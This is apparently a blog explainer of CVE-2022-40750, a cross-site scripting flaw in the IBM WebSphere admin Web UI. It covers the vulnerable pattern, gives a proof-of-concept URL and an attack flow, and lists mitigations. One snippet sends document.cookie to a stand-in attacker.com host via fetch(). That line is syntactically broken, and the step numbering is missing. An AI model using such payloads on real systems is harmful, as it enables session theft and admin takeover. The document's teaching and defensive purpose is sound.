---
Introduction
In today's world, web applications are at the heart of almost every business. But with popularity comes risk. IBM WebSphere Application Server, one of the most widely used application servers in enterprise environments, was found to have a High-severity cross-site scripting (XSS) vulnerability identified as CVE-2022-40750. This post explains this bug in plain English, shows code snippets, gives links to official references, and provides an exclusive walkthrough on how this issue can be abused and what you can do to stay safe. Let's dive in!
What is CVE-2022-40750?
CVE-2022-40750 is a vulnerability found in the Web UI of IBM WebSphere Application Server (WAS) versions 8.5 and 9.. The product fails to properly validate input in certain parameters on web pages, allowing attackers to inject and execute arbitrary JavaScript code in the context of a user's browser session.
Where's the Vulnerability?
The problem is in how Untrusted User Input is handled in the Web UI. If user input is embedded into a page without encoding, it is possible to break out of the normal application flow and inject JavaScript code.
Common targets for XSS are search boxes, feedback forms, or any part of the admin interface that echoes user data.
Suppose the WebSphere Application Server admin console has a page like this
<!-- Pseudocode representation -->
<%@ page language="java" %>
<html>
<body>
Welcome, <%= request.getParameter("username") %>!
</body>
</html>
If you access
https://websphere-server.example.com/admin?username=Alice
You'll see
Welcome, Alice!
But, an attacker could send a crafted link
https://websphere-server.example.com/admin?username=<script>alert('XSS Ran!')</script>
If the server doesn’t encode this input, every admin who clicks the link (or anyone viewing logs with that parameter) will see a popup saying "XSS Ran!" — meaning the attacker's JavaScript executed on their browser. A real attacker could run more serious, hidden scripts to steal cookies, log keystrokes, or fake forms.
Here's a basic example of malicious input
<script>
// Steal session cookie and send to attacker's server
fetch('https://attacker.com/steal?cookie='; + document.cookie);
</script>
If the Web UI reflects this input back into the page, the attacker's script runs as the logged-in user. That stolen session might let an attacker access the WAS console as an administrator!
Malicious Request: Admin clicks the link and logs into the WebSphere UI.
3. Script Executes: Malicious script runs inside admin's browser, sending session cookies or other data to the attacker.
4. Follow-up Attack: Attacker uses the stolen session to access the admin console without knowing the actual password.
References and Further Reading
- IBM X-Force Exchange: CVE-2022-40750 / X-Force ID 236588
- IBM Security Bulletin: WebSphere Application Server is vulnerable to cross-site scripting (CVE-2022-40750)
- NIST NVD Entry for CVE-2022-40750
- OWASP XSS Cheat Sheet
IBM released patches for affected WebSphere Application Server versions. To mitigate
- Update Now: Upgrade to the latest fix pack as per IBM’s instructions.
- Input Encoding: Always encode/escape user-supplied data before inserting into HTML pages.
- HTTPOnly Cookies: Use the HttpOnly flag so session cookies cannot be stolen through JavaScript.
Final Thoughts
XSS bugs are still among the most dangerous and common web vulnerabilities. IBM WebSphere environments are prime targets due to their valuable data and privileged users. By understanding and remediating CVE-2022-40750, you’re helping protect your company’s crown jewels.
Don’t delay: Patch your WebSphere Application Server and review your web application input handling practices today!
If you have questions or need deeper technical guidance, check the official links above or contact your security team.
*This post was written exclusively for educational and awareness purposes – always use responsibly and ethically.*
Timeline
Published on: 11/11/2022 19:15:00 UTC
Last modified on: 11/16/2022 16:16:00 UTC